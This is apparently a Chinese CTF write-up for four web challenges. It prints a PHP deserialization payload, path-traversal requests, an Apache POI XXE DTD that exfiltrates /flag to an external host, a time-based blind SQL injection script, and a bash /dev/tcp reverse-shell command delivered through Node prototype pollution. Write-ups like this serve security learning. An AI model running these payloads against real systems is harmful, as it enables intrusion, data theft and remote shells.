AreUSerialz 反序列化,PHP弱类型
题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php include ("flag.php" );highlight_file(__FILE__ ); class FileHandler { protected $op; protected $filename; protected $content; function __construct () { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process () { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } } private function write () { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen((string)$this ->content) > 100 ) { $this ->output("Too long!" ); die (); } $res = file_put_contents($this ->filename, $this ->content); if ($res) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read () { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents($this ->filename); } return $res; } private function output ($s) { echo "[Result]: <br>" ; echo $s; } function __destruct () { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s) { for ($i = 0 ; $i < strlen($s); $i++) if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125 )) return false ; return true ; } if (isset ($_GET{'str' })) { $str = (string)$_GET['str' ]; if (is_valid($str)) { $obj = unserialize($str); } }
需要注意的点是private属性的%00*%00会被is_valid函数拦掉,又由于PHP7.2+,故直接用public构造序列化后的字符串即可,除此之外,op这个地方直接使用弱类型,传递int型的2即可,payload如下,
1 ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";N;}
最后base64解码,getflag。
这里要注意的是要使用绝对路径,而绝对路径可以通过/proc/self/cmdline获取到。
以上是比赛时候的解法,赛后和群里的dalao们讨论了下,还有别的解法,在imagin师傅的wp中已经分析的很清楚了(imagin师傅tql),这里提一下,
可以通过直接构造不完整的序列化字符串,提前执行destruct()方法,就可以留在当前程序执行的目录,从而直接使用相对路径读取到文件,payload如下(去掉了最后的“;”和”}“),
1 ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N
filejava CVE-2014-3529 Apache POI OpenXML parser XXE
打开题目首先可以上传文件,尝试上传jsp马儿,找不到绝对路径,无果,
遂从下载的地方入手,尝试跨目录下载。
读取当前应用工作的绝对路径(从imagin师傅博客 那里学来的tips🤭),
proc 是个好东西,总结下经常会用到的文件:
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用
1 2 3 4 5 6 7 8 9 10 11 GET /file_in_java/DownloadServlet?filename=../../../../../../../../../proc/self/cmdline HTTP/1.1 Host: b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080 Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080/file_in_java/UploadServlet Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: 0 Connection: close
Response
1 2 3 4 5 6 7 8 9 HTTP/1.1 200 OK Date: Sun, 10 May 2020 15:49:14 GMT Content-Length: 457 Connection: close content-disposition: attachment;filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline X-Via-JSL: 5c465f4,- X-Cache: bypass /usr/local/jdk1.8.0_77/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/usr/local/tomcat/endorsed -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
易知web.xml文件路径为
1 usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
直接读,
1 2 3 4 5 6 7 8 9 10 11 GET /file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml HTTP/1.1 Host: b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080 Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://b302b1bf494d472b8603472d8ac63afe0e057d307fff4132.cloudgame1.ichunqiu.com:8080/file_in_java/UploadServlet Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: 0 Connection: close
成功得到其内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns ="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation ="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id ="WebApp_ID" version ="2.5" > <display-name > file_in_java</display-name > <welcome-file-list > <welcome-file > upload.jsp</welcome-file > </welcome-file-list > <servlet > <description > </description > <display-name > UploadServlet</display-name > <servlet-name > UploadServlet</servlet-name > <servlet-class > cn.abc.servlet.UploadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > UploadServlet</servlet-name > <url-pattern > /UploadServlet</url-pattern > </servlet-mapping > <servlet > <description > </description > <display-name > ListFileServlet</display-name > <servlet-name > ListFileServlet</servlet-name > <servlet-class > cn.abc.servlet.ListFileServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > ListFileServlet</servlet-name > <url-pattern > /ListFileServlet</url-pattern > </servlet-mapping > <servlet > <description > </description > <display-name > DownloadServlet</display-name > <servlet-name > DownloadServlet</servlet-name > <servlet-class > cn.abc.servlet.DownloadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadServlet</servlet-name > <url-pattern > /DownloadServlet</url-pattern > </servlet-mapping > </web-app >
有了包名,直接下载编译好的class,还是通过任意文件下载的点,下载如下文件。
1 2 3 4 5 usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
反编译class文件得到关键代码如下,
这里是不能直接下载flag的。
在UploadServlet.java中,可以看到引入了Apache POI OpenXML parser 且为存在漏洞的3.10版本,
当构造好的payload文件名满足括号中的条件时,则会调用其功能从而触发Blind XXE,无回显引入外部DTD即可实现外带数据,具体操作如下。
准备1.dtd内容如下,使用file协议读flag,
1 2 <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx:12354?p=%file;'>">
新建excel-5.xlsx文件,修改文件扩展名为zip,打开,修改其中的[Content_Types].xml,引入dtd。
打包为xlsx,上传,getflag
trace 直接贴脚本吧,死于表名..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import time import requests target = "http://xxx.com/register_do.php" flag = "" for i in range(1 ,43 ): for j in range(44 ,128 ): data = {'username' :"0'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1)," +str(i)+",1))=" +str(j)+",pow(9999,100) or sleep(3),pow(9999,100)),'1')#" , 'password' :"0" } time1 = time.time() r = requests.post(target,data=data) time2 = time.time() if time2 - time1 > 3 : flag += chr(j) print flag break
notes 离比赛结束俩小时先放的这个题,所以就去磕这道了淦。
1 2 3 4 var express = require ('express' );var path = require ('path' );const undefsafe = require ('undefsafe' );const { exec } = require ('child_process' );
文件开头require了undefsafe,versions <2.0.3 时,存在原型链污染,参考链接 。
直接找调用了undefsafe()的地方。
在编辑笔记这块,发现可以利用的点,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.route('/edit_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to edit a note" }); }) .post(function (req, res ) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess' , {message : "edit note sucess" }); } else { res.render('mess' , {message : "edit note failed" }); } })
根据参考链接,尝试污染this.note_list,控制id、author、raw 三个变量。
变量名
内容
id
__proto__.aaa
author
bash -i >&/dev/tcp/ip/444 0>&1
raw
test
POST过去后,访问/status,即可获取到反弹shell,之后cat /flag 即可。
最最最后,感谢glotozz师傅、qfrost师傅、fjh1997师傅、Hn13师傅😄。